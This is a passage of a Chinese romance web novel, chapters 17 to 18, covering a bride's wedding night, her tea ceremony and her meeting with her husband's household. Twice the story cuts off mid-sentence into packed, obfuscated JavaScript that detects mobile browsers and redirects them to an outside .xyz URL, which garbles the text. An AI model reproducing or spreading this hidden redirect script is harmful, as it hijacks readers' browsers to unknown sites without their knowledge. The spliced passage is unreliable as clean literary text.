和她的约法三章不能为人所知,就连近身伺候的俞敦也被江萼瞒在鼓里,只当是他少爷回心转意了,这两日忙着在天镜园内布置婚房,高兴得不像样。 但江蔺的态度就叫人难以捉摸了,对她是一见钟情?可他似乎完全不知杨家那小姐的本性,江萼出于兄弟情谊,隐晦提醒一句:“三哥怜香惜玉,但想过没有,人家可不一定领情。” 江蔺想要追问,江萼却没那么好的耐性,叫俞敦送了客。 江蔺看在眼中,只当他是敷衍,到了今日,眼见他们拜堂成亲,更是满心的郁闷——根本无法声张。 江敏也在现场观礼,一对新人在亲朋好友的注目之下缓步走进喜堂。先前的花灯会不过是个小小插曲,她悄悄抬眼去看,老夫人端坐在主位上,正和蔼可亲地接受新人的一拜,压根没有当一回事。 而自己的弟弟,只看一眼她就知道了。趁着夫妻对拜,满堂喝彩之际,她低声说:“不管如何,今日是燕客的大喜日子,别叫祖母看出名堂。” 江蔺望着堂中一对璧人,礼已成,他还能做什么呢?当即苦涩一笑,说:“我知道,就算老太太对他再失望,也容不得我跟他相争。” 17. 第 17 章 17 拜堂仪式结束,新郎官要留下酬谢宾客,新娘子则由仆妇们一路引着去了天镜园的新房。 新房布置得喜气十足,最中央的案几上一对花烛兀自燃着,风过微晃,在墙上乱缠,直至殆尽。 乐善端坐在床榻上,起先仍装模作样拿把缎扇遮面,后来听见红夫借机把人都吆喝走了,整个人才仿佛跟散架似的,软软地靠坐在脚踏上。 红夫回头看到,嘴一撇,说:“小姐真没坐相,幸亏我打发人走了。” “快来帮我拆了头饰,真是重死了。”乐善向她讨饶地笑。 红夫上来替她一一除却冠饰,见她实在叫苦连天,便又帮她捶会儿肩,又帮她捏会儿腿,一边说:“还没完呢,一会儿新郎官还要过来喝交杯酒,你再忍受一下。” 乐善只觉头重脚轻,只恨不能立刻倒头大睡,听说还有仪程,忍不住埋怨说:“成一次亲真受罪啊。” 红夫其实心里有点没底,手上动作停了,期期艾艾地问:“四公子他今晚会留宿吧?” 乐善想了想,说:“不留宿的话,就怕外面那么多双眼睛盯着呢。” 红夫说也是,然后问:“那你们……今夜怎么就寝?” 乐善总算反应过来,原来红夫是担心她受了欺辱。她笑:“你怕什么?新婚夫妻,就是真睡了,吃亏的未必是我啊。” 红夫到底是未经事的小姑娘,红脸啐道:“小姐,你说话真没个正经。” 怕她的担忧会露了痕迹,乐善换了话题,一个劲儿央她:“整日没进食了,红夫姐姐,我好饿啊,你帮我去厨房看看,可有什么吃的。” 两人一惯在水晶观里这样玩闹,红夫见了果然啼笑皆非,转身出了新房,替她觅食去了。 乐善独坐无聊,索性起来走走看看。 据说这间新房是江萼平常起居的地方,到处是他生活的痕迹,饶是乐善见识不少,也不免将满屋琳琅满目的古董看得眼花缭乱了。 江萼甫一进来,就看见她这副反客为主的做派。一会儿看看架上的元青花梅瓶,一会儿伸手摸摸黄花梨家几,踱步来,踱步去,口里啧啧称赞,稀奇得很的哟。 转头看见他了,她还不忘招呼他坐,为他殷勤奉上一盏交杯酒。 她自己也拿了一盏,同他碰碰杯,自顾豪饮了,然后说:“夫君来得这样晚,前面应酬一定很多吧。” 她改口也这样快,毫无局促忸怩之态,江萼正留神端详她,闻言反倒不知说什么好了。 乐善一手托着下颌,另外拿手在他眼前一晃,笑说:“要不是自觉没有你美,你目不转睛这么盯着我,我真会以为你看上了我呢。” 江萼望进她的眼里,很真诚地说:“我是在想,小姐真叫我耳目一新。” “听着不像什么好话,你快别说了。” 江萼一笑,果然噤声,随手将她递来的交杯酒搁在一旁。 乐善全看在眼里,轻轻飞他一眼:“你干嘛不喝?难道是怕我在酒里动手脚?” 江萼竟也配合她,装作一惊一乍的样子,笑说:“小姐明知故问,刚还说图我呢,眼下更深夜重,在下不得不防啊。” 是说刚才西桥桥头,她要他扫榻以待的玩笑话。 “还叫我小姐?”乐善拧眉不喜。 江萼从善如流:“娘子。” 乐善扑哧一笑,径直拿过他刚才那盏酒,仰头喝个精光,露出杯底亮给他看。 “你放心,我而今家底全无,叫不起价。” 依旧还是那句玩笑话,她才不甘示弱呢。 忽然门外有人小心敲门,是红夫。 乐善眼睛一亮,也顾不得和他斗嘴了,扬声叫进。 知道新人肚饿,江家的厨子送来了最地道的淮扬菜品,因偏甜口,乐善饮食上不太习惯,尽管饿着,只吃了几口,也就放下了。 倒是便宜了江萼。他一日忙碌下来,也没吃上什么,刚才席间酬客,又给一帮纨绔子弟强灌了酒,要不是俞敦机灵,借口新妇久等,只怕他还抽不开身回来。 男人漂亮的面容上泛出酒气的酡色,他喝了酒,乐善是一早就闻到了。早前还和红夫夸口说不怕,但真到了和他面对面独处的时候,闻见男人身上淡淡的酒气,尤其是他不自觉间,桃花眼似有若无的一瞥,竟叫她也不能十分的从容,只好一阵插科打诨,壮壮胆气。 好在—— 新妇就在眼前,他只管细嚼慢咽,专心吃着,眼睫微微低垂,落在脸上形成一片蝉翼的阴影。 之后不需乐善示意,天镜园的仆妇们早在门外候着了,新婚夫妻用完了饭,她们鱼贯而入,伺候盥洗、更衣,料理铺床、熏被,然后鱼贯而出。 红夫临去时给她递了个担忧的眼色,一步三回头,也跟在最后出去了。 热闹一时过后,突然就冷了场了,乐善心想,还得跟这个男人周旋,共同度过下半夜。 不知是不是看出她的踟蹰,江萼站起来,率先说:“你睡床吧。”过去拿了枕被,绕过屏风,打算到外面软榻上将就一晚。 乐善反倒不好意思了,跟过去说:“软塌又窄又小,你睡床吧,我来睡榻。” 江萼也是个嘴上不饶人的,当即就笑:“实在稀奇,讲条件时你寸步不让,斗口角时你伶牙俐齿,一张床反而很谦让。” 真是张嘴没句中听的话。 乐善听了,立刻抬脚就走。 …… 不知她几时睡着的,也许一沾枕头就睡昏了过去。第二日,是红夫强行把她从床上拉起,一边念叨:“你睡得真沉,门外叫了好几声都不搭理人,吓得我以为你被他怎么了呢。” 乐善本来蓬头垢面坐在床上,闻言蹿起,鞋也没穿,光着脚跑到隔壁里间,软塌上干干净净,显然某人收拾过了。 “他呢?” “早一刻就起了,现在书房里。”红夫跟着她,低声说,“你放心,我第一个进来的,屋子里没什么可疑的痕迹。” 自己怎么能睡得那样死?居然连他几时起的,几时出了门都不知道。 乐善不免倒吸一口凉气,觉得就算昨夜他真图谋不轨,但自己什么都不知道,岂不亏大发了? 红夫眨眨眼睛,也困惑得很,问:“昨夜你们……” “分头睡,我睡床,他睡榻。” 红夫轻轻吁出口气,说:“他倒还算个正人君子。” 今早要去正院给长辈们敬茶,严妪等从杨家陪嫁来的仆妇们严阵以待,只待乐善一起,立刻蜂拥而入,服侍她盥洗、更衣、妆点,势必要把她打扮成端庄大方的新妇形象,以此抵消昨夜花灯会上她的失仪。 乐善坐在铜镜前任人摆布,一晃眼,在镜子里看见江萼的家僮,名叫俞敦的,总在门外探头探脑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802542|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她递眼色给红夫,红夫马上心领神会,忙说:“好了,时辰到了,姑爷要等不耐烦了。” 托他的辞,乐善终于脱身。 老夫人的正院和天镜园尚且有些距离,江萼走在前面领路,乐善跟着,一边东张西望。 昨夜太晚了,跟前又人头攒动的,只能匆匆走马观花,今日从天镜园中穿行而过,在参天深槐之间移步易景,见画阁朱楼,见绿塘野水,真叫乐善叹为观止。 她出生在北方,平生第一次踏足江南,书里小园极则的风光文字读的多了,头一回置身其中深深体会,难免看得应接不暇。 只是逗留了一会儿,一转头,江萼人已经走出老远了。 居然为她稍作片刻的停留也不肯。 乐善和红夫两个面面相觑,立刻拔足狂奔,好不容易追上他了,她也气喘吁吁的了。 “你干嘛走这么快?”乐善向他怨怼一眼。 江萼昨夜没睡好,正困着呢,没理她倒打一耙,说:“不是你走太慢了吗?” 乐善没好气地说:“走得慢了,你更应该停下来等一等我才是。” 江萼很给面子的敷衍,说:“下次。” 乐善不禁撇开头,悄悄和红夫打眉眼官司:就他这人,能是你口中说的正人君子吗? 红夫无奈一笑。 江萼突然停下脚步。乐善本来正和红夫挤眉弄眼,吓得连忙正了色,从他背后探出头,小心问:“怎么了?” 迎面过来的是江蔺和江敏,他们每日晨昏定省是不断的,今日也要去正院给老夫人问安。 显然大家没想到会在半路遇见,都是一怔。 比起他们之间暗流涌动,乐善就显得心平气和多了,仿佛没发生过江蔺献媚求娶之事。 她含笑对江敏说:“真巧,在这里遇见大姐。”向着江蔺,则是轻轻的一颔首,也当作施礼了。 “四弟,四弟妹。” 江敏笑得局促,然后侧头向江蔺示意。 江蔺心中解嘲一笑,面上依旧是素日的促狭样,侃侃说:“四弟新婚燕尔,作为哥哥的,稍后一定送上好物祝贺。” 老夫人正院前人多眼杂,江萼也难得耐下性子客套,笑说:“三哥的好物向来束之高阁,宝贵得不得了,如今肯送,那我真要拭目以待了。” 江敏似乎松了口气。 四人联袂过去正院,老夫人已经敬完佛前的一炷香了。见到他们一同过来,老夫人还没发话,她下首的三奶奶就笑了,说:“一个两个,老太太正念叨着呢,原来你们是约好了一块来的。” 江敏小意解释了一句:“也是巧,半路上正遇见了。” 今日正事是新妇敬茶,闲话休提,旁人纷纷就座,只留一对新人站在堂下。 老夫人跟前的朴妪一个眼神示意,丫鬟见机捧来托盘,上面放着五碗茶。 “请新妇奉茶。”朴妪叫道。 乐善敛神,双手端起第一杯茶,低眉顺眼走到主位前跪下,轻声说:“请祖母喝茶。” “好孩子,抬起头来给我看看。”老夫人伸手接过茶。 乐善装作羞赧,迟迟才肯抬头,也仍是垂着眼的端庄样子。从她半阖的眼的余光往上觑,老人纤瘦的皮肤泛着细润的青光,想来平日安富尊荣,一双手才保养如此得宜。 她在暗暗观察,殊不知老夫人也正垂眼,打量新妇。 18. 第 18 章 18 乐善有着微微盈润的脸腮,双山眉,秋水眼,高挺而秀气的琼鼻,一张含朱丹小嘴——但她从不以美人自居,因为家中姊妹个个漂亮过她,她不比她们楚楚动人,也少三分孤意在眉,唯独有一点,她一双眼睛生得实在是好,狡黠灵动,黑眼仁滴溜溜一转,一脸的聪明相。 看上去太聪明也有一点不好,平白叫人提防,她便也学乖了,平常总是半低头,半垂眼的示弱,以掩饰眼里灵机一动。 所以从前六姐也说她太会装相,小时候耷着眉,垂着眼,凭借这副可怜相,给人一下就骗到了,无论跟谁谄媚讨好都无往不利。 显然江老夫人也一时被她鼓惑了。虽然在她看来,杨氏还算不得漂亮,尤其在他们江家的美人堆里,根本出不了众。 但人,光看漂不漂亮是不行的。老夫人活了大半辈子了,一生高高低低都经历遍了,还有什么看不明白的,她知道,最后只有家世人品才最可靠。 昨日刚听说花灯会上的闹剧,老夫人还以为新妇也是个胆大妄为的。在她看来,本来燕客就野性难驯,是散漫惯了的性儿,活该有个人好好管教他。倘要是娶妻不贤,两个坏的凑到一块去,只怕江家日后会闹得天翻地覆了。 还好,还好。今日一见新妇,竟是个温婉大方,识大体的,江老夫人心道,果然还得是世家大族教养出来的小姐,言行举止叫人无从挑剔。 老夫人满意了,浅尝了一口茶,随手放在一旁。随后,朴妪从旁端上一个银盒,里面放置着一块碧玉镯。 老夫人说:“这块玉镯不过寻常成色,不值当什么,但是我娘家的添妆,陪伴了我许多年了,今日给你做见面礼。且收下吧。” 老太太箱笼里的宝物其实不少,居然拿了这块玉镯出来,底下众人都暗暗吃惊,因为人一旦上了年纪,越是难舍贴身之物,看来老太太对新妇印象尚且不错。 面对如此殊宠,乐善仍旧中规中矩,不形于色。老夫人对她仪态更是赞誉有加,看向江萼,笑骂一句:“还不快把你媳妇儿扶起来,去见过伯叔婶娘们。” 江萼于是伸手,托住她臂弯,轻轻的一带。乐善站起来还仿佛有点害羞的样子,只是低着头。 在长辈们和煦的笑意中,江萼带她走到右首,提醒说:“这是大伯父、大伯母。” 乐善随他的叫法,端起第二碗茶和第三碗茶,依次屈膝敬茶:“请大伯父、大伯母用茶。” 江家大房的江大爷、江大奶奶端坐在位上,挨个接过茶水喝了,然后送了她一柄金梳背作为见面礼。 江萼再把她带到左首,这个不待交代,乐善已经端上第四碗茶和第五碗茶,稳稳当当地敬上了。 “请三叔父、三叔婶用茶。” 三房的江三爷是个万事都乐呵的人,面前这人险些就成了他的儿媳,他还不知道避忌,把茶喝了,偏偏还要提上一嘴:“侄媳妇不必多礼,你与我们虽没缘分做成舅姑,总归现在依旧还是一家人,平日里倘若吃穿不惯,只管告诉你婶子,让你婶子替你多周全。” 真是哪壶不开提哪壶,大家面面相觑,连老夫人都觉得了,专登看他一眼。 三奶奶脸上笑容微僵,不好当面再说什么,免得叫她男人下不来台,便微一颔首。身后张妪立刻端上一个漆盒,里头是一块蔓草鸳鸯纹的白玉带。 见过了长辈,与同辈的姊妹们见面就没那么拘束了,何况一早是在开善寺见过的,连介绍也免了。 乐善和江敏、江玫互拉着小手彼此见礼,江敏送了她一支玉臂环,江玫送了她一个葡萄花鸟纹银香囊。 乐善道谢过后,分别还礼。 从正院退出来,又去祠堂里拜了江萼父母的牌位,一整套礼节下来,饶是乐善年轻气盛,也禁不住精疲力尽。 然而回到天镜园她也没得片刻的喘息,因为管事的俞坚还候着堂下,等着听她的示意。而江萼是一回来就溜得不见人影,据说出门会朋友去了。 乐善晕乎乎的,不明所以,还是受了红夫提点,才想起来:现在她是天镜园的当家,自然要受园中诸人的拜见。 红夫周到,早备好了银锞子,乐善一会儿只需要坐在高堂下打赏,认一认脸就好。 趁着俞坚通传的间隙,乐善悄悄问红夫:“一会儿见了他的妾们,我该怎么做?” 不怪她勤学好问,实在是,她的父亲薛翙终身只得一位妻子,家庭关系简单,她从小就没见过她娘斗小妾的场面,根本拿不准态度。 眼见外面人影重重,就要进来了,红夫匆匆传授经验,说:“小姐静观其变,若是个识趣的还好,虚与委蛇也就是了,倘若是个恃宠而骄的,你只管端坐,自有我来替你教训她们。” 一主一仆不由得精神奕奕,做好了斗妾的架势,谁知进来一群中年妇人,当先的竟还是个老妪,头发花白,脸容枯瘦,总该也有四五十岁了,一进来就毕恭毕敬地跪下了,说: “老妇曹妪,见过少奶奶。” 知道乐善眼生,俞坚代为介绍:“曹妪向来负责少爷内宅之事,日后少奶奶但有交代,只管吩咐她就是了。” 乐善点了点头,表示知道了。红夫上前赏了一颗银锞子。 接着的几名老妇分别上前跪安,作了自我介绍,她们或是庄园上的管家,或是门面里的掌柜,说话有条有理,尤其一双眼神矍铄,不容得乐善小觑。 她不免要想,手下这么一群能人,难怪纨绔豪掷千金,丝毫不惧家道中落。 换茶的功夫,红夫给她递了一个眼色,乐善知道,这一批人她得笼络住,日后掌家才有耳报神。 不过,稍后挪挪—— 乐善和红夫翘首以盼,盼来堂下十余个半大的女孩子。看身量,最大那个也才十四五岁,倘若薛宛还在,也是这个年纪。不过她们个个面皎如兰,色妍似棠,长大之后一定在美人行列。 最大的那个自称林敷英,说话温声细语,进退有宜,领头齐齐拜倒,问少奶奶的好。 这群女孩子身上布衣素饰,神态楚楚可怜,不会是他的妾。难不成就是他传闻中豢养的美婢们?乐善心里骂了一千遍斯文败类,恨他居然下得去手。不敢想象,如果薛宛在她们其中,她会有多么痛心。 红夫轻轻碰了碰她的胳膊。 这时,曹妪伺立一旁,也看出她脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817384|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对,稍加思索就明白了,旁敲侧击地提了一句:“少爷尤爱鼓吹,于是在园中收留有天资的孤女,组建家班排戏演曲,图一热闹。她们平日闭门练戏,很少在人前露面,今日是特地来拜见少奶奶的。” 乐善醒过神来,果然看见底下女孩子们怯生生的,似乎被自己的不言不语吓到了。 要怪就怪那人名声不好,任谁骤然看到一群和宛儿一般大的女孩子出现在他园子里,也会错想。 乐善本来义愤填膺,听了曹妪淡淡解释,莫名有一点窘。 红夫站了出来,代她赏了银锞子,女戏们拿到手里喜笑颜开,争相道谢,总算才有点小孩子气了。 之后乐善又接见了天镜园内的家僮、粗使丫鬟、仆妇,天色渐晚,俞坚进请吃饭。 “没有旁人了吗?”乐善耐心告罄,忍不住往外看了一眼。 曹妪说:“回少奶奶话,园中百人俱已前来拜见……” 乐善显然不信。 老妪也见了,女戏也见了,偏偏不见他的妾,莫非——那人竟敢不来拜见? 这是她和红夫都不曾设想的。乐善有心想问,但又不能太着痕迹,只好由红夫代劳了。 红夫眉头一皱,威风赫赫:“怎么不见姨太太过来拜见?” 俞坚和曹妪相视一眼,曹妪说:“回少奶奶,少爷至今没有纳妾。” 也真离奇荒唐,像他这样年纪,又爱在外面玩的男人,姨太太总该好有几位了。竟会没有。 红夫问:“通房丫鬟呢?” “也不曾有过。” “外室…” “老妇从未听闻。” 乐善听得纳闷,脱口而出:“那他总得有一个相好吧?”不然那些绯色传闻从何而来? “少奶奶请慎言!” 曹妪站出来,极力劝诫说,“坊间毁谤真假难辨,少爷虽然有时是张狂轻慢了些,但绝不是一个声色犬马之人,还请少奶奶明察秋毫,莫要心生猜忌,致使夫妻之间有了隔阂。” 乐善被她一喝,脸上不免讪讪的。 还是俞坚更明智些,他心知外面流言汹涌,新妇初来乍到,很难为他们三言两语说服,干脆解释说:“回少奶奶,其实少爷刚出孝期…” 原来他为母为父守孝六年,期间戒色,自然不可能纳妾,行床笫之欢。 俞坚说,二老爷去世时,少爷尚且年幼,二奶奶对他管教又严,尤其是女色一事上。 江母因怕他过早房事伤身,盯得紧,当时别说纳妾了,和个丫鬟打情骂俏都是不被允许的,以至于这么多年,江萼身边伺候的一直只有家僮俞敦。 当然他爱繁华爱热闹的性子一直没改,在这些光是享乐的事上,江母倒是轻轻放过了,因为在她看来,锦衣玉食的少爷不必自讨苦吃,年轻时见过大场面,日后进了官场才不会捉襟见肘,显得小家子气。 直到他十七岁,江母去世。 婚事一直耽搁到二十岁上,才由江老夫人做主,换娶了弘农杨氏的小姐。 …… 一个禁欲的漂亮纨绔。 乐善不好说她信或不信,只是欲言又止。